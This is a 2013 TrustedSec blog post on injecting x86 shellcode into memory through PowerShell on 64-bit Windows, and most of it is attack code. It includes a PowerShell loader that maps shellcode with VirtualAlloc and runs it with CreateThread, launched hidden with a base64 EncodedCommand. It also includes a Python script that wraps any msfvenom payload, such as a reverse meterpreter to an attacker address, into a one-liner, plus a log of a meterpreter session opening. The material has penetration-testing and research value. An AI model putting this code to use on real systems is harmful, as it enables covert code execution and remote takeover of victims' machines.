Skip to Main Content
May 29, 2013

Native PowerShell x86 Shellcode Injection on 64-bit Platforms

Written by David Kennedy
One of the biggest challenges with doing PowerShell injection with shellcode is the ability to detect X86 or X64 bit platforms and having it automatically select which to use. There are a few ways we could do this, first is to write out our PowerShell encoded x64 and x86 shellcode and use a small PowerShell script to identify if we are a x86 or x64 bit platform. However - this is a bit of a hack job and it also requires to to write to disk which - which we never want to do. So how do we execute x86 shellcode on a x64 bit platform? In x64 bit architectures there is a path under %WINDIR%syswow64WindowsPowerShellv1.0powershell.exe that will allow us to execute a x86 instance of PowerShell. Great! However - when we are doing exploitation and our payload gets triggered, how do we automatically determine if its x86 or x64 to deliver the path? The same path does not exist under x86 path variables so we need a different way.
As an example: Let's say we want to use psexec_command within Metasploit. We generate our PowerShell injection through SET which will inject shellcode straight into memory based on the wicked and awesome research from Matthew Graeber http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html. We need a way to ensure reliability on both X86 and x64 bit platforms. This has been problematic in the past and within SET. In order to overcome this, SET had to specify if you wanted x64 or x86 or setup two listeners. One listener would be something like windows/meterpreter/reverse_tcp while the other would be windows/x64/meterpreter/reverse_tcp. One listening on 443, other on 444. This isn't ideal but has been the main method up until now. In order to get non selective shellcode injection based on architecture, we need to somehow determine if the platform is x86 or x64. We could simply look if we are x86 or AMD64 and select each shellcode based on the architecture. Architecture lookup here:
if($env:PROCESSOR_ARCHITECTURE -eq "AMD64")
Unfortunately, if we include both shellcode for 32 and 64 bit platforms, when we do our execution restriction bypass attack on the command line, the arguments are to long and we no longer have the ability to stay straight in memory. In order to overcome this, we can call the x86 PowerShell instance based on platform type if we are running in x64. The code is below and will be released in the next version of SET:
# our execute x86 shellcode
function Generate-ShellcodeExec
{
# this is our shellcode injection into memory (one liner) shellcode is just a simple Metasploit payload=windows/exec cmd=calc
$shellcode_string = @"
`$code = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';`$winFunc = Add-Type -memberDefinition `$code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]`$sc64 = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
;[Byte[]]`$sc = `$sc64;`$size = 0x1000;if (`$sc.Length -gt 0x1000) {`$size = `$sc.Length};`$x=`$winFunc::VirtualAlloc(0,0x1000,`$size,0x40);for (`$i=0;`$i -le (`$sc.Length-1);`$i++) {`$winFunc::memset([IntPtr](`$x.ToInt32()+`$i), `$sc[`$i], 1)};`$winFunc::CreateThread(0,0,`$x,0,0,0);for (;;) { Start-sleep 60 };
"@
$goat =  [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($shellcode_string)) 
write-output $goat
}

# our function for executing x86 shellcode
function Execute-x86
{
	# if we are running under AMD64 then use the x86 version of powershell
    if($env:PROCESSOR_ARCHITECTURE -eq "AMD64")
    {
        $powershellx86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell.exe"
		$cmd = "-noprofile -windowstyle hidden -noninteractive -EncodedCommand"
		$thegoat = Generate-ShellcodeExec
        iex "& $powershellx86 $cmd $thegoat"
		
    }
	# else just run normally
    else
    {
        $thegoat = Generate-ShellcodeExec
		$cmd = "-noprofile -windowstyle hidden -noninteractive -EncodedCommand"
		iex "& powershell $cmd $thegoat"
    }
}
# call the function
Execute-x86
In the above code snippet, we detect if we are in a 64 bit platform, if we are, we call our shellcode injection and convert our injection code to Unicode + Base64 encode here:
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($shellcode_string))
Then pass it to a new encodedcommand call to the x86 PowerShell. Otherwise, then just run normally. Vala - we now have the ability to use native x86 shellcode inside of PowerShell. In this instance, we can wrap it into one line, unicode and base64 encode it and we now have our one liner. Our result when we use x86 meterpreter on a x64 operating system? Below:
[*] Sending stage (751104 bytes) to 192.168.9.186
[*] Meterpreter session 2 opened (192.168.9.240:443 -> 192.168.9.186:49373) at 2013-05-29 08:22:03 -0400
Now we need to add this all to one line in order to do the execution restriction bypass. Code modified below to fit all on one line:
# one line shellcode injection with native x86 shellcode
$shellcode_string = '$code = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($shellcode_string));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$powershellx86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell.exe";$cmd = "-noprofile -windowstyle hidden -noninteractive -EncodedCommand";iex "& $powershellx86 $cmd $goat"}else{$cmd = "-noprofile -windowstyle hidden -noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}
Next all we would need to do is replace the shellcode, unicode and base64 encode the above and you will have a working one liner. These changes will be released into the Java Applet and PowerShell Injection techniques in the upcoming SET release. UPDATE 05/30/2013: While doing some troubleshooting with Chris Gates (Carnal0wnage) we figured out that while the reverse_tcp meterpreter shell will work fine, since the HTTPS reverse stager is larger - it will fail because it cuts off about 50 characters. In order to fix this, we have to revise the above code just slightly. Below is a down and dirty non pretty python code that will automatically create any Metasploit payload and do the right format for you and base64 encode the bypass. Enjoy!
import base64,re,subprocess,sys

# generate base shellcode
def generate_shellcode(payload,ipaddr,port):
    port = port.replace("LPORT=", "")
    proc = subprocess.Popen("msfvenom -p %s LHOST=%s LPORT=%s c" % (payload,ipaddr,port), stdout=subprocess.PIPE, shell=True)
    data = proc.communicate()[0]
    # start to format this a bit to get it ready
    data = data.replace(";", "")
    data = data.replace(" ", "")
    data = data.replace("+", "")
    data = data.replace('"', "")
    data = data.replace("n", "")
    data = data.replace("buf=", "")
    data = data.rstrip()
    # return data
    return data

def format_payload(payload, ipaddr, port):

    # generate our shellcode first
    shellcode = generate_shellcode(payload, ipaddr, port)
    shellcode = shellcode.rstrip()
    # sub in x for 0x
    shellcode = re.sub("\\x", "0x", shellcode)
    # base counter
    counter = 0
    # count every four characters then trigger mesh and write out data
    mesh = ""
    # ultimate string
    newdata = ""
    for line in shellcode:
        mesh = mesh + line
        counter = counter + 1
        if counter == 4:
            newdata = newdata + mesh + ","
            mesh = ""
            counter = 0

    # heres our shellcode prepped and ready to go
    shellcode = newdata[:-1]
    
    # one line shellcode injection with native x86 shellcode
    powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode))
    print "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le'))  
    #print powershell_code


try:
    payload = sys.argv[1]
    ipaddr = sys.argv[2]
    port = sys.argv[3]
    format_payload(payload,ipaddr,port)
except IndexError:

    print r"""
              ,_
                 _  `  )  ,
                 `|  / |_/  
       .-. ,    _/  `   '     |/
       _> |,_'> ______        <__,
      `      ,`'`      `'.       /__  ,
       / _   /)`           ',       <_/|
      `/ ,; '     ,                /_,
        )   | /|     |        |       ` /
            | b/    /    ;    /       .'
            |    _.'|   ;     |      /__,
            |    /  | .'      |        /
            |, _   |         |     _.'
             | 7/  / '.. .'      /_ ,     ,_   ,
                `  ;            |    /       |` /
                   |              <'     ,_   Y |/
          .-.      |             -'       >`| `   <__,
         (.-.`'--''        ..            '-.        / ,
         /   `'---'''`.   `    `'. '.              .'_/|
           ,_'-.._.                 '.            `' _/
           \`""-._                   '.       ;     <   _,
            \__   `-;-'                 '.    |      _//
              _`,                          .'        <
              /                           /       ;.-'`
              '-==='     '.        ;          ;      <__,
                           `'.    .`       ,  |-.  ,__.'
                              `'-.       ,;'  ;  '.
                               /`      .;;'  ;     `
                             /`           _.'

                            |       _.--'`
                                 (`(
                                   
                                   '.'.
                              .` ,.  )  )
                           .'`. '_.-'.-'
                      _,-'` _.-'`_.-`
                    .'  _.'`.-`
                    '---` `--`

"""
	print "Real quick down and dirty for native x86 powershell on any platform"
	print "Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com"
    print "Happy Unicorns."
	print "n"
    print "Usage: python unicorn.py payload reverse_ipaddr port"
    print "Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443"